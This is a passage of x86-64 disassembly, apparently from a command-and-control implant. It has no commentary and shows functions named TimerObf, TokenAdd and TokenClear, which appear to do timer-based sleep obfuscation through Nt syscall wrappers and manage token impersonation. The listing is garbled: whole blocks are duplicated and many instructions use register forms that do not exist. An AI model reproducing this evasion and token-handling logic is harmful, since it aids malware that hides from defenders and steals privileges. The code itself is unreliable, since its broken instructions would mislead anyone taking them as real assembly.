140020987mov rcx, rbx
14002098alea r8, [rip-55681]
140020991mov [rsp+32], 200
140020999mov rdx, [rsp+152]
1400209a1call [rsi+388]
1400209a7
1400209a7loc_1400209a7:
1400209a7mov r9l, eax
1400209aamov r8l, 596
1400209b0test eax, eax
1400209b2js 0x140020ec4
1400209b8mov ebx, 200
1400209bd
1400209bdloc_1400209bd:
1400209bdmov rcx, [rsp+136]
1400209c5xor r8l, r8l
1400209c8xor edx, edx
1400209cacall SysNtWaitForSingleObject
1400209cfmov r8l, 452
1400209d5lea rdx, [rip+48788]
1400209dclea rcx, [rip+33069]
1400209e3mov r9l, eax
1400209e6test eax, eax
1400209e8js 0x140020eeb
1400209eemov r10, [rip+47483]
1400209f5cmp [r10+214], 0
1400209fdje 0x140020aab
140020a03mov rcx, [rsp+472]
140020a0blea rdx, [rsp+208]
140020a13call ThreadQueryTib
140020a18test eax, eax
140020a1ajne 0x140020a41
140020a1clea r9, [rip+33061]
140020a23mov r8l, 461
140020a29lea rdx, [rip+48704]
140020a30lea rcx, [rip+33064]
140020a37call printf
140020a3cjmp 0x140020ef0
140020a41
140020a41loc_140020a41:
140020a41xor eax, eax
140020a43or r8, -1
140020a47lea r9, [rsp+120]
140020a4cor rcx, -1
140020a50mov [rsp+48], 2
140020a58mov rdx, -2
140020a5fmov [rsp+40], eax
140020a63mov [rsp+32], eax
140020a67call SysNtDuplicateObject
140020a6cmov r10, [rip+47357]
140020a73mov r8l, 467
140020a79lea rdx, [rip+48624]
140020a80test eax, eax
140020a82mov r9l, eax
140020a85lea rcx, [rip+32999]
140020a8cjs 0x140020eeb
140020a92lea rax, [rsp+264]
140020a9amov rsi, [r10+2230]
140020aa1mov ecx, 14
140020aa6mov rdi, rax
140020aa9rep movsd [rdi], [rsi]
140020aab
140020aabloc_140020aab:
140020aablea rax, [rsp+2784]
140020ab3lea rdx, [rsp+18800]
140020abbmov [rsp+88], rax
140020ac0
140020ac0loc_140020ac0:
140020ac0mov rdi, rax
140020ac3mov ecx, 308
140020ac8mov rsi, r13
140020acbrep movsd [rdi], [rsi]
140020acdsub [rax+152], 8
140020ad5add rax, 1232
140020adbcmp rdx, rax
140020adejne 0x140020ac0
140020ae0mov rax, [rsp+128]
140020ae8xor r13l, r13l
140020aebmov rdx, [r10+1692]
140020af2lea rsi, [rsp+100]
140020af7mov [rsp+2968], r13
140020affmov rcx, [r10+804]
140020b06lea r11, [rsp+192]
140020b0elea r8, [rsp+176]
140020b16mov [rsp+2912], rax
140020b1emov eax, -1
140020b23mov r13, [r10+1372]
140020b2amov [rsp+2920], rax
140020b32mov eax, r14l
140020b35cmp [r10+214], 0
140020b3dmov [rsp+4152], rax
140020b45mov eax, ebx
140020b47mov [rsp+1600], 0x10000b
140020b52lea rdi, [rax+r12]
140020b56mov [rsp+368], 0x10000b
140020b61mov [rsp+3032], rdx
140020b69mov [rsp+4264], rcx
140020b71mov [rsp+4144], r15
140020b79mov [rsp+4200], 4
140020b85mov [rsp+4208], rsi
140020b8dmov [rsp+5496], r13
140020b95mov [rsp+5376], r11
140020b9dmov [rsp+5384], r8
140020ba5jne 0x140020bd8
140020ba7xor r12l, r12l
140020baamov [rsp+6728], rdx
140020bb2mov edx, 4
140020bb7mov [rsp+6608], -1
140020bc3mov [rsp+6616], rdi
140020bcbmov [rsp+6664], r12
140020bd3jmp 0x140020d0d
140020bd8
140020bd8loc_140020bd8:
140020bd8mov rax, [r10+588]
140020bdflea r12, [rsp+568]
140020be7lea r15, [rsp+208]
140020befmov [rsp+11544], rdi
140020bf7mov [rsp+7840], r12
140020bfflea r12, [rsp+1800]
140020c07xor edi, edi
140020c09lea r9, [rsp+1552]
140020c11mov [rsp+6728], rax
140020c19mov rax, [rsp+120]
140020c1elea r14, [rsp+320]
140020c26mov [rsp+7848], r12
140020c2emov r12, [r10+2230]
140020c35mov [rsp+6608], rax
140020c3dmov rax, [r10+444]
140020c44mov [rsp+9080], r15
140020c4cmov r10, [r10+596]
140020c53mov r15, [rsp+120]
140020c58mov [rsp+7960], rax
140020c60mov [rsp+9192], rax
140020c68mov [rsp+12888], rax
140020c70lea rax, [rsp+264]
140020c78mov [rsp+6616], r9
140020c80mov [rsp+7896], 1
140020c8cmov [rsp+9072], r12
140020c94mov [rsp+9128], 56
140020ca0mov [rsp+10424], r10
140020ca8mov [rsp+10304], r15
140020cb0mov [rsp+10312], r14
140020cb8mov [rsp+11536], -1
140020cc4mov [rsp+11592], rdi
140020cccmov [rsp+12768], r12
140020cd4mov [rsp+12776], rax
140020cdcmov [rsp+12824], 56
140020ce8mov [rsp+14120], r10
140020cf0mov [rsp+14000], r15
140020cf8mov [rsp+14008], r9
140020d00mov [rsp+11656], rdx
140020d08mov edx, 10
140020d0d
140020d0dloc_140020d0d:
140020d0dmov eax, edx
140020d0fmov rdi, [rsp+72]
140020d14lea r14, [rsp+112]
140020d19lea r12, [rip+47952]
140020d20imul rax, rax, 1232
140020d27mov [rsp+rax+3032], r13
140020d2fxor r13l, r13l
140020d32mov [rsp+rax+2920], r8
140020d3amov r8l, 572
140020d40mov [rsp+rax+2912], r11
140020d48lea eax, [rdx+1]
140020d4bimul rax, rax, 1232
140020d52mov [rsp+rax+2912], rdi
140020d5amov rdi, [rsp+64]
140020d5fmov [rsp+rax+3032], rcx
140020d67mov [rsp+rax+2920], rdi
140020d6fmov edi, [rsp+84]
140020d73mov [rsp+rax+2976], rsi
140020d7bxor esi, esi
140020d7dmov [rsp+rax+2968], rdi
140020d85mov rdi, [rip+46564]
140020d8clea eax, [rdx+2]
140020d8fimul rax, rax, 1232
140020d96mov rcx, [rdi+460]
140020d9dmov [rsp+rax+3032], rcx
140020da5mov rcx, [rsp+144]
140020dadmov [rsp+rax+2920], rsi
140020db5lea esi, [rdx+3]
140020db8mov rdx, r12
140020dbbmov [rsp+rax+2912], rcx
140020dc3mov r9l, esi
140020dc6lea rcx, [rip+32213]
140020dcdcall printf
140020dd2
140020dd2loc_140020dd2:
140020dd2cmp [rbp+24], 1
140020dd6jne 0x140020e25
140020dd8xor r11l, r11l
140020ddbadd ebx, 100
140020ddemov r8, [rdi+692]
140020de5mov rdx, r14
140020de8mov r9, [rsp+88]
140020dedmov rcx, [rsp+104]
140020df2mov [rsp+40], r11l
140020df7mov [rsp+48], 32
140020dffmov [rsp+32], ebx
140020e03call [rdi+380]
140020e09mov r9l, eax
140020e0ctest eax, eax
140020e0ejns 0x140020e70
140020e10mov r8l, 578
140020e16mov rdx, r12
140020e19lea rcx, [rip+32171]
140020e20jmp 0x140020eeb
140020e25
140020e25loc_140020e25:
140020e25cmp [rbp+24], 2
140020e29jne 0x140020e70
140020e2badd ebx, 100
140020e2emov r9, [rsp+88]
140020e33mov rcx, r14
140020e36mov r8, [rdi+692]
140020e3dmov rdx, [rsp+152]
140020e45mov [rsp+40], 12
140020e4dmov [rsp+32], ebx
140020e51call [rdi+388]
140020e57mov r9l, eax
140020e5atest eax, eax
140020e5cjns 0x140020e70
140020e5emov r8l, 583
140020e64mov rdx, r12
140020e67lea rcx, [rip+32137]
140020e6ejmp 0x140020eeb
140020e70
140020e70loc_140020e70:
140020e70add [rsp+88], 1232
140020e79inc r13l
140020e7ccmp r13l, esi
140020e7fjb 0x140020dd2
140020e85mov rdx, [rsp+144]
140020e8dxor r9l, r9l
140020e90xor r8l, r8l
140020e93mov ebx, 1
140020e98mov rcx, [rsp+128]
140020ea0call SysNtSignalAndWaitForSingleObject
140020ea5mov r9l, eax
140020ea8test eax, eax
140020eaajns 0x140020ef2
140020eacmov r8l, 591
140020eb2mov rdx, r12
140020eb5lea rcx, [rip+32104]
140020ebcjmp 0x140020eeb
140020ebe
140020ebeloc_140020ebe:
140020ebemov r8l, 599
140020ec4
140020ec4loc_140020ec4:
140020ec4lea rdx, [rip+47525]
140020ecblea rcx, [rip+32142]
140020ed2jmp 0x140020eeb
140020ed4
140020ed4loc_140020ed4:
140020ed4mov r9l, eax
140020ed7mov r8l, 602
140020eddlea rdx, [rip+47500]
140020ee4lea rcx, [rip+32177]
140020eeb
140020eebloc_140020eeb:
140020eebcall printf
140020ef0
140020ef0loc_140020ef0:
140020ef0xor ebx, ebx
140020ef2
140020ef2loc_140020ef2:
140020ef2mov rcx, [rsp+104]
140020ef7test rcx, rcx
140020efaje 0x140020f11
140020efcmov rax, [rip+46189]
140020f03call [rax+412]
140020f09xor r10l, r10l
140020f0cmov [rsp+104], r10
140020f11
140020f11loc_140020f11:
140020f11mov rcx, [rsp+136]
140020f19test rcx, rcx
140020f1cje 0x140020f2e
140020f1ecall SysNtClose
140020f23xor r9l, r9l
140020f26mov [rsp+136], r9
140020f2e
140020f2eloc_140020f2e:
140020f2emov rcx, [rsp+128]
140020f36test rcx, rcx
140020f39je 0x140020f4b
140020f3bcall SysNtClose
140020f40xor r8l, r8l
140020f43mov [rsp+128], r8
140020f4b
140020f4bloc_140020f4b:
140020f4bmov rcx, [rsp+144]
140020f53test rcx, rcx
140020f56je 0x140020f67
140020f58call SysNtClose
140020f5dxor ecx, ecx
140020f5fmov [rsp+144], rcx
140020f67
140020f67loc_140020f67:
140020f67mov rcx, [rsp+152]
140020f6ftest rcx, rcx
140020f72je 0x140020f83
140020f74call SysNtClose
140020f79xor edx, edx
140020f7bmov [rsp+152], rdx
140020f83
140020f83loc_140020f83:
140020f83mov rcx, [rsp+120]
140020f88test rcx, rcx
140020f8bje 0x140020f99
140020f8dcall SysNtClose
140020f92xor eax, eax
140020f94mov [rsp+120], rax
140020f99
140020f99loc_140020f99:
140020f99lea rdx, [rsp+2784]
140020fa1lea r8, [rsp+18800]
140020fa9xor eax, eax
140020fabmov r9l, 1232
140020fb1
140020fb1loc_140020fb1:
140020fb1mov rdi, rdx
140020fb4mov rcx, r9
140020fb7rep stosb [rdi], al
140020fb9add rdx, 1232
140020fc0cmp rdx, r8
140020fc3jne 0x140020fb1
140020fc5lea rdi, [rsp+160]
140020fcdmov ecx, 16
140020fd2rep stosb [rdi], al
140020fd4lea rsp, [rbp-56]
140020fd8mov eax, ebx
140020fdapop rbx
140020fdbpop rsi
140020fdcpop rdi
140020fddpop r12
140020fdfpop r13
140020fe1pop r14
140020fe3pop r15
140020fe5pop rbp
140020fe6ret
140020660
140020660TimerObf:
140020660push rbp
140020661mov eax, 18800
140020666mov rbp, rsp
140020669push r15
14002066bpush r14
14002066dpush r13
14002066fpush r12
140020671push rdi
140020672push rsi
140020673push rbx
140020674and rsp, -16
140020678call ___chkstk_ms
14002067dxor r9l, r9l
140020680xor r10l, r10l
140020683sub rsp, rax
140020686mov r12l, ecx
140020689xor eax, eax
14002068bmov ecx, 308
140020690lea rdi, [rsp+320]
140020698mov rsi, [rip+48337]
14002069fmov [rbp+24], edx
1400206a2lea r13, [rsp+320]
1400206aarep stosd [rdi], eax
1400206acmov ecx, 308
1400206b1mov [rsp+104], r9
1400206b6lea rdi, [rsp+1552]
1400206berep stosd [rdi], eax
1400206c0lea rdi, [rsp+2784]
1400206c8mov ecx, 4004
1400206cdmov [rsp+112], r9
1400206d2rep stosd [rdi], eax
1400206d4lea rdi, [rsp+208]
1400206dcmov ecx, 14
1400206e1mov [rsp+120], r9
1400206e6rep stosd [rdi], eax
1400206e8lea rdi, [rsp+264]
1400206f0mov ecx, 14
1400206f5mov [rsp+128], r9
1400206fdrep stosd [rdi], eax
1400206ffmov rax, [rsi+44]
140020703mov [rsp+136], r9
14002070bmov [rsp+144], r9
140020713mov [rsp+72], rax
140020718mov eax, [rsi+52]
14002071bmov [rsp+152], r9
140020723mov [rsp+64], rax
140020728mov rax, [rsi+56]
14002072cmov [rsp+160], r9
140020734test rax, rax
140020737mov [rsp+168], r9
14002073fmov [rsp+176], r9
140020747mov [rsp+184], r9
14002074fmov [rsp+192], r9
140020757mov [rsp+200], r9
14002075fmov [rsp+100], r10l
140020764mov [rsp+84], 64
14002076cje 0x140020789
14002076emov edx, [rsi+64]
140020771test edx, edx
140020773je 0x140020789
140020775mov ebx, edx
140020777mov [rsp+72], rax
14002077cmov [rsp+64], rbx
140020781mov [rsp+84], 32
140020789
140020789loc_140020789:
140020789xor ebx, ebx
14002078b
14002078bloc_14002078b:
14002078bcall RandomNumber32
140020790mov edx, eax
140020792lea rax, [rsp+160]
14002079amov [rsp+rbx+160], dl
1400207a1inc rbx
1400207a4cmp rbx, 16
1400207a8jne 0x14002078b
1400207aamov r14l, [rsi+52]
1400207aemov r15, [rsi+44]
1400207b2mov [rsp+184], rax
1400207bamov rax, 0x1000000010
1400207c4cmp [rbp+24], 1
1400207c8mov [rsp+176], rax
1400207d0mov [rsp+200], r15
1400207d8mov [rsp+196], r14l
1400207e0mov [rsp+192], r14l
1400207e8jne 0x1400207f7
1400207ealea rcx, [rsp+104]
1400207efcall [rsi+404]
1400207f5jmp 0x140020849
1400207f7
1400207f7loc_1400207f7:
1400207f7cmp [rbp+24], 2
1400207fbmov rax, [rsi+564]
140020802je 0x14002082e
140020804
140020804loc_140020804:
140020804xor r8l, r8l
140020807xor r9l, r9l
14002080amov edx, 0x1f0003
14002080fmov [rsp+32], r8l
140020814lea rcx, [rsp+136]
14002081cxor r8l, r8l
14002081fcall [rsi+564]
140020825test eax, eax
140020827jns 0x140020869
140020829jmp 0x140020ed4
14002082e
14002082eloc_14002082e:
14002082exor edx, edx
140020830lea rcx, [rsp+152]
140020838xor r9l, r9l
14002083bxor r8l, r8l
14002083emov [rsp+32], edx
140020842mov edx, 0x1f0003
140020847call rax
140020849
140020849loc_140020849:
140020849mov r9l, eax
14002084ctest eax, eax
14002084ejns 0x140020804
140020850mov r8l, 605
140020856lea rdx, [rip+49171]
14002085dlea rcx, [rip+33891]
140020864jmp 0x140020eeb
140020869
140020869loc_140020869:
140020869xor eax, eax
14002086bxor r9l, r9l
14002086exor r8l, r8l
140020871mov edx, 0x1f0003
140020876mov [rsp+32], eax
14002087alea rcx, [rsp+128]
140020882call [rsi+564]
140020888test eax, eax
14002088ajs 0x140020ed4
140020890xor eax, eax
140020892xor r9l, r9l
140020895xor r8l, r8l
140020898mov edx, 0x1f0003
14002089dmov [rsp+32], eax
1400208a1lea rcx, [rsp+144]
1400208a9call [rsi+564]
1400208aftest eax, eax
1400208b1js 0x140020ed4
1400208b7cmp [rbp+24], 1
1400208bbjne 0x140020930
1400208bdxor eax, eax
1400208bflea rbx, [rsp+112]
1400208c4mov r9, r13
1400208c7mov rcx, [rsp+104]
1400208ccmov r8, [rsi+420]
1400208d3mov rdx, rbx
1400208d6mov [rsp+48], 32
1400208demov [rsp+40], eax
1400208e2mov [rsp+32], 100
1400208eacall [rsi+380]
1400208f0mov r9l, eax
1400208f3test eax, eax
1400208f5js 0x140020ebe
1400208fbxor eax, eax
1400208fdmov rcx, [rsp+104]
140020902mov rdx, rbx
140020905mov [rsp+48], 32
14002090dmov [rsp+40], eax
140020911mov r9, [rsp+136]
140020919lea r8, [rip-55568]
140020920mov [rsp+32], 200
140020928call [rsi+380]
14002092ejmp 0x1400209a7
140020930
140020930loc_140020930:
140020930xor ebx, ebx
140020932cmp [rbp+24], 2
140020936jne 0x1400209bd
14002093clea rbx, [rsp+112]
140020941mov r8, [rsi+420]
140020948mov r9, r13
14002094bmov [rsp+40], 12
140020953mov [rsp+32], 100
14002095bmov rdx, [rsp+152]
140020963mov rcx, rbx
140020966call [rsi+388]
14002096cmov r9l, eax
14002096ftest eax, eax
140020971js 0x140020ebe
140020977mov [rsp+40], 12
14002097fmov r9, [rsp+136]
140020987mov rcx, rbx
14002098alea r8, [rip-55681]
140020991mov [rsp+32], 200
140020999mov rdx, [rsp+152]
1400209a1call [rsi+388]
1400209a7
1400209a7loc_1400209a7:
1400209a7mov r9l, eax
1400209aamov r8l, 596
1400209b0test eax, eax
1400209b2js 0x140020ec4
1400209b8mov ebx, 200
1400209bd
1400209bdloc_1400209bd:
1400209bdmov rcx, [rsp+136]
1400209c5xor r8l, r8l
1400209c8xor edx, edx
1400209cacall SysNtWaitForSingleObject
1400209cfmov r8l, 452
1400209d5lea rdx, [rip+48788]
1400209dclea rcx, [rip+33069]
1400209e3mov r9l, eax
1400209e6test eax, eax
1400209e8js 0x140020eeb
1400209eemov r10, [rip+47483]
1400209f5cmp [r10+214], 0
1400209fdje 0x140020aab
140020a03mov rcx, [rsp+472]
140020a0blea rdx, [rsp+208]
140020a13call ThreadQueryTib
140020a18test eax, eax
140020a1ajne 0x140020a41
140020a1clea r9, [rip+33061]
140020a23mov r8l, 461
140020a29lea rdx, [rip+48704]
140020a30lea rcx, [rip+33064]
140020a37call printf
140020a3cjmp 0x140020ef0
140020a41
140020a41loc_140020a41:
140020a41xor eax, eax
140020a43or r8, -1
140020a47lea r9, [rsp+120]
140020a4cor rcx, -1
140020a50mov [rsp+48], 2
140020a58mov rdx, -2
140020a5fmov [rsp+40], eax
140020a63mov [rsp+32], eax
140020a67call SysNtDuplicateObject
140020a6cmov r10, [rip+47357]
140020a73mov r8l, 467
140020a79lea rdx, [rip+48624]
140020a80test eax, eax
140020a82mov r9l, eax
140020a85lea rcx, [rip+32999]
140020a8cjs 0x140020eeb
140020a92lea rax, [rsp+264]
140020a9amov rsi, [r10+2230]
140020aa1mov ecx, 14
140020aa6mov rdi, rax
140020aa9rep movsd [rdi], [rsi]
140020aab
140020aabloc_140020aab:
140020aablea rax, [rsp+2784]
140020ab3lea rdx, [rsp+18800]
140020abbmov [rsp+88], rax
140020ac0
140020ac0loc_140020ac0:
140020ac0mov rdi, rax
140020ac3mov ecx, 308
140020ac8mov rsi, r13
140020acbrep movsd [rdi], [rsi]
140020acdsub [rax+152], 8
140020ad5add rax, 1232
140020adbcmp rdx, rax
140020adejne 0x140020ac0
140020ae0mov rax, [rsp+128]
140020ae8xor r13l, r13l
140020aebmov rdx, [r10+1692]
140020af2lea rsi, [rsp+100]
140020af7mov [rsp+2968], r13
140020affmov rcx, [r10+804]
140020b06lea r11, [rsp+192]
140020b0elea r8, [rsp+176]
140020b16mov [rsp+2912], rax
140020b1emov eax, -1
140020b23mov r13, [r10+1372]
140020b2amov [rsp+2920], rax
140020b32mov eax, r14l
140020b35cmp [r10+214], 0
140020b3dmov [rsp+4152], rax
140020b45mov eax, ebx
140020b47mov [rsp+1600], 0x10000b
140020b52lea rdi, [rax+r12]
140020b56mov [rsp+368], 0x10000b
140020b61mov [rsp+3032], rdx
140020b69mov [rsp+4264], rcx
140020b71mov [rsp+4144], r15
140020b79mov [rsp+4200], 4
140020b85mov [rsp+4208], rsi
140020b8dmov [rsp+5496], r13
140020b95mov [rsp+5376], r11
140020b9dmov [rsp+5384], r8
140020ba5jne 0x140020bd8
140020ba7xor r12l, r12l
140020baamov [rsp+6728], rdx
140020bb2mov edx, 4
140020bb7mov [rsp+6608], -1
140020bc3mov [rsp+6616], rdi
140020bcbmov [rsp+6664], r12
140020bd3jmp 0x140020d0d
140020bd8
140020bd8loc_140020bd8:
140020bd8mov rax, [r10+588]
140020bdflea r12, [rsp+568]
140020be7lea r15, [rsp+208]
140020befmov [rsp+11544], rdi
140020bf7mov [rsp+7840], r12
140020bfflea r12, [rsp+1800]
140020c07xor edi, edi
140020c09lea r9, [rsp+1552]
140020c11mov [rsp+6728], rax
140020c19mov rax, [rsp+120]
140020c1elea r14, [rsp+320]
140020c26mov [rsp+7848], r12
140020c2emov r12, [r10+2230]
140020c35mov [rsp+6608], rax
140020c3dmov rax, [r10+444]
140020c44mov [rsp+9080], r15
140020c4cmov r10, [r10+596]
140020c53mov r15, [rsp+120]
140020c58mov [rsp+7960], rax
140020c60mov [rsp+9192], rax
140020c68mov [rsp+12888], rax
140020c70lea rax, [rsp+264]
140020c78mov [rsp+6616], r9
140020c80mov [rsp+7896], 1
140020c8cmov [rsp+9072], r12
140020c94mov [rsp+9128], 56
140020ca0mov [rsp+10424], r10
140020ca8mov [rsp+10304], r15
140020cb0mov [rsp+10312], r14
140020cb8mov [rsp+11536], -1
140020cc4mov [rsp+11592], rdi
140020cccmov [rsp+12768], r12
140020cd4mov [rsp+12776], rax
140020cdcmov [rsp+12824], 56
140020ce8mov [rsp+14120], r10
140020cf0mov [rsp+14000], r15
140020cf8mov [rsp+14008], r9
140020d00mov [rsp+11656], rdx
140020d08mov edx, 10
140020d0d
140020d0dloc_140020d0d:
140020d0dmov eax, edx
140020d0fmov rdi, [rsp+72]
140020d14lea r14, [rsp+112]
140020d19lea r12, [rip+47952]
140020d20imul rax, rax, 1232
140020d27mov [rsp+rax+3032], r13
140020d2fxor r13l, r13l
140020d32mov [rsp+rax+2920], r8
140020d3amov r8l, 572
140020d40mov [rsp+rax+2912], r11
140020d48lea eax, [rdx+1]
140020d4bimul rax, rax, 1232
140020d52mov [rsp+rax+2912], rdi
140020d5amov rdi, [rsp+64]
140020d5fmov [rsp+rax+3032], rcx
140020d67mov [rsp+rax+2920], rdi
140020d6fmov edi, [rsp+84]
140020d73mov [rsp+rax+2976], rsi
140020d7bxor esi, esi
140020d7dmov [rsp+rax+2968], rdi
140020d85mov rdi, [rip+46564]
140020d8clea eax, [rdx+2]
140020d8fimul rax, rax, 1232
140020d96mov rcx, [rdi+460]
140020d9dmov [rsp+rax+3032], rcx
140020da5mov rcx, [rsp+144]
140020dadmov [rsp+rax+2920], rsi
140020db5lea esi, [rdx+3]
140020db8mov rdx, r12
140020dbbmov [rsp+rax+2912], rcx
140020dc3mov r9l, esi
140020dc6lea rcx, [rip+32213]
140020dcdcall printf
140020dd2
140020dd2loc_140020dd2:
140020dd2cmp [rbp+24], 1
140020dd6jne 0x140020e25
140020dd8xor r11l, r11l
140020ddbadd ebx, 100
140020ddemov r8, [rdi+692]
140020de5mov rdx, r14
140020de8mov r9, [rsp+88]
140020dedmov rcx, [rsp+104]
140020df2mov [rsp+40], r11l
140020df7mov [rsp+48], 32
140020dffmov [rsp+32], ebx
140020e03call [rdi+380]
140020e09mov r9l, eax
140020e0ctest eax, eax
140020e0ejns 0x140020e70
140020e10mov r8l, 578
140020e16mov rdx, r12
140020e19lea rcx, [rip+32171]
140020e20jmp 0x140020eeb
140020e25
140020e25loc_140020e25:
140020e25cmp [rbp+24], 2
140020e29jne 0x140020e70
140020e2badd ebx, 100
140020e2emov r9, [rsp+88]
140020e33mov rcx, r14
140020e36mov r8, [rdi+692]
140020e3dmov rdx, [rsp+152]
140020e45mov [rsp+40], 12
140020e4dmov [rsp+32], ebx
140020e51call [rdi+388]
140020e57mov r9l, eax
140020e5atest eax, eax
140020e5cjns 0x140020e70
140020e5emov r8l, 583
140020e64mov rdx, r12
140020e67lea rcx, [rip+32137]
140020e6ejmp 0x140020eeb
140020e70
140020e70loc_140020e70:
140020e70add [rsp+88], 1232
140020e79inc r13l
140020e7ccmp r13l, esi
140020e7fjb 0x140020dd2
140020e85mov rdx, [rsp+144]
140020e8dxor r9l, r9l
140020e90xor r8l, r8l
140020e93mov ebx, 1
140020e98mov rcx, [rsp+128]
140020ea0call SysNtSignalAndWaitForSingleObject
140020ea5mov r9l, eax
140020ea8test eax, eax
140020eaajns 0x140020ef2
140020eacmov r8l, 591
140020eb2mov rdx, r12
140020eb5lea rcx, [rip+32104]
140020ebcjmp 0x140020eeb
140020ebe
140020ebeloc_140020ebe:
140020ebemov r8l, 599
140020ec4
140020ec4loc_140020ec4:
140020ec4lea rdx, [rip+47525]
140020ecblea rcx, [rip+32142]
140020ed2jmp 0x140020eeb
140020ed4
140020ed4loc_140020ed4:
140020ed4mov r9l, eax
140020ed7mov r8l, 602
140020eddlea rdx, [rip+47500]
140020ee4lea rcx, [rip+32177]
140020eeb
140020eebloc_140020eeb:
140020eebcall printf
140020ef0
140020ef0loc_140020ef0:
140020ef0xor ebx, ebx
140020ef2
140020ef2loc_140020ef2:
140020ef2mov rcx, [rsp+104]
140020ef7test rcx, rcx
140020efaje 0x140020f11
140020efcmov rax, [rip+46189]
140020f03call [rax+412]
140020f09xor r10l, r10l
140020f0cmov [rsp+104], r10
140020f11
140020f11loc_140020f11:
140020f11mov rcx, [rsp+136]
140020f19test rcx, rcx
140020f1cje 0x140020f2e
140020f1ecall SysNtClose
140020f23xor r9l, r9l
140020f26mov [rsp+136], r9
140020f2e
140020f2eloc_140020f2e:
140020f2emov rcx, [rsp+128]
140020f36test rcx, rcx
140020f39je 0x140020f4b
140020f3bcall SysNtClose
140020f40xor r8l, r8l
140020f43mov [rsp+128], r8
140020f4b
140020f4bloc_140020f4b:
140020f4bmov rcx, [rsp+144]
140020f53test rcx, rcx
140020f56je 0x140020f67
140020f58call SysNtClose
140020f5dxor ecx, ecx
140020f5fmov [rsp+144], rcx
140020f67
140020f67loc_140020f67:
140020f67mov rcx, [rsp+152]
140020f6ftest rcx, rcx
140020f72je 0x140020f83
140020f74call SysNtClose
140020f79xor edx, edx
140020f7bmov [rsp+152], rdx
140020f83
140020f83loc_140020f83:
140020f83mov rcx, [rsp+120]
140020f88test rcx, rcx
140020f8bje 0x140020f99
140020f8dcall SysNtClose
140020f92xor eax, eax
140020f94mov [rsp+120], rax
140020f99
140020f99loc_140020f99:
140020f99lea rdx, [rsp+2784]
140020fa1lea r8, [rsp+18800]
140020fa9xor eax, eax
140020fabmov r9l, 1232
140020fb1
140020fb1loc_140020fb1:
140020fb1mov rdi, rdx
140020fb4mov rcx, r9
140020fb7rep stosb [rdi], al
140020fb9add rdx, 1232
140020fc0cmp rdx, r8
140020fc3jne 0x140020fb1
140020fc5lea rdi, [rsp+160]
140020fcdmov ecx, 16
140020fd2rep stosb [rdi], al
140020fd4lea rsp, [rbp-56]
140020fd8mov eax, ebx
140020fdapop rbx
140020fdbpop rsi
140020fdcpop rdi
140020fddpop r12
140020fdfpop r13
140020fe1pop r14
140020fe3pop r15
140020fe5pop rbp
140020fe6ret
140020660
140020fe7
140020fe7 // align 0x10
140020fe7 // align 0x10
140020ff0
140020ff0ToLowerCaseW:
140020ff0lea edx, [rcx-65]
140020ff3mov eax, ecx
140020ff5cmp dx, 25
140020ff9ja 0x140020ffe
140020ffbor eax, 96
140020ffe
140020ffeloc_140020ffe:
140020fferet
140020ff0
140020ff0ToLowerCaseW:
140020ff0lea edx, [rcx-65]
140020ff3mov eax, ecx
140020ff5cmp dx, 25
140020ff9ja 0x140020ffe
140020ffbor eax, 96
140020ffe
140020ffeloc_140020ffe:
140020fferet
140020ff0
140020fff
140020fff // align 0x10
140020fff // align 0x10
140021000
140021000TokenAdd:
140021000push r12
140021002mov r12, rcx
140021005mov ecx, 64
14002100apush rbp
14002100bmov rbp, rdx
14002100emov edx, 56
140021013push rdi
140021014mov edi, r9l
140021017push rsi
140021018mov esi, r8l
14002101bpush rbx
14002101csub rsp, 32
140021020mov rbx, [rip+45897]
140021027call [rbx+932]
14002102dmov rdx, [rsp+112]
140021032xor ecx, ecx
140021034mov [rax], r12
140021037mov [rax+24], rdx
14002103bmov rdx, [rsp+120]
140021040mov [rax+8], rbp
140021044mov [rax+40], rdx
140021048mov rdx, [rsp+128]
140021050mov [rax+16], edi
140021053mov [rax+32], rdx
140021057xor edx, edx
140021059mov [rax+48], rdx
14002105dmov rdx, [rbx+2274]
140021064mov [rax+20], si
140021068test rdx, rdx
14002106bjne 0x140021076
14002106dmov [rbx+2274], rax
140021074jmp 0x140021088
140021076
140021076loc_140021076:
140021076mov r8, rdx
140021079mov rdx, [rdx+48]
14002107dinc ecx
14002107ftest rdx, rdx
140021082jne 0x140021076
140021084mov [r8+48], rax
140021088
140021088loc_140021088:
140021088add rsp, 32
14002108cmov eax, ecx
14002108epop rbx
14002108fpop rsi
140021090pop rdi
140021091pop rbp
140021092pop r12
140021094ret
140021000
140021000TokenAdd:
140021000push r12
140021002mov r12, rcx
140021005mov ecx, 64
14002100apush rbp
14002100bmov rbp, rdx
14002100emov edx, 56
140021013push rdi
140021014mov edi, r9l
140021017push rsi
140021018mov esi, r8l
14002101bpush rbx
14002101csub rsp, 32
140021020mov rbx, [rip+45897]
140021027call [rbx+932]
14002102dmov rdx, [rsp+112]
140021032xor ecx, ecx
140021034mov [rax], r12
140021037mov [rax+24], rdx
14002103bmov rdx, [rsp+120]
140021040mov [rax+8], rbp
140021044mov [rax+40], rdx
140021048mov rdx, [rsp+128]
140021050mov [rax+16], edi
140021053mov [rax+32], rdx
140021057xor edx, edx
140021059mov [rax+48], rdx
14002105dmov rdx, [rbx+2274]
140021064mov [rax+20], si
140021068test rdx, rdx
14002106bjne 0x140021076
14002106dmov [rbx+2274], rax
140021074jmp 0x140021088
140021076
140021076loc_140021076:
140021076mov r8, rdx
140021079mov rdx, [rdx+48]
14002107dinc ecx
14002107ftest rdx, rdx
140021082jne 0x140021076
140021084mov [r8+48], rax
140021088
140021088loc_140021088:
140021088add rsp, 32
14002108cmov eax, ecx
14002108epop rbx
14002108fpop rsi
140021090pop rdi
140021091pop rbp
140021092pop r12
140021094ret
140021000
140021095
140021095 // align 0x10
140021095 // align 0x10
1400210a0
1400210a0TokenClear:
1400210a0push rdi
1400210a1xor ecx, ecx
1400210a3push rsi
1400210a4xor esi, esi
1400210a6push rbx
1400210a7sub rsp, 32
1400210abmov rbx, [rip+45758]
1400210b2mov rdi, [rbx+2274]
1400210b9call TokenImpersonate
1400210be
1400210beloc_1400210be:
1400210betest rdi, rdi
1400210c1je 0x1400210cb
1400210c3mov rdi, [rdi+48]
1400210c7inc esi
1400210c9jmp 0x1400210be
1400210cb
1400210cbloc_1400210cb:
1400210cbcmp edi, esi
1400210cdje 0x1400210da
1400210cfxor ecx, ecx
1400210d1inc edi
1400210d3call TokenRemove
1400210d8jmp 0x1400210cb
1400210da
1400210daloc_1400210da:
1400210daxor edx, edx
1400210dcxor eax, eax
1400210demov [rbx+2290], eax
1400210e4mov [rbx+2274], rdx
1400210ebmov [rbx+2282], rdx
